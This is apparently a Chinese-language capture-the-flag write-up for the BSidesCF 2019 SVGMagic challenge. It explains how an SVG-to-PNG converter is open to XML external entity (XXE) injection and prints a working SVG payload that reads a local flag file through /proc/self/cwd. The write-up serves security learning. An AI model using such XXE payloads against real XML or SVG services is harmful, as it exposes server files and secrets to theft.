[BSidesCF 2019]SVGMagic
标题说把SVG转为PNG
SVG是一种用XML定义的语言,SVG图形是可交互的和动态的,可以在SVG文件中嵌入动画元素或通过脚本来定义动画。
也就是说这里的SVG是个XML,并且存在可控的内容,那么自然就会想到XXE。
究极详细讲解:https://www.freebuf.com/vuls/175451.html
我的理解是:
1 2 3 4 5 6 7
| 首先我们要知道,XML 被设计用来传输和存储数据。 然后这个漏洞就是利用了,应用程序在解析XML输入时,没有禁止外部实体的加载。 就拿下面的这个来说<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >,这个就是外部实体,加载了flag.txt,然后输出, 也就是:应该是实体引用,把加载的东西放出来 <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>
|
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>
|
Author:
odiws
Permalink:
http://odiws.github.io/2024/07/28/2019-SVGMagic/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?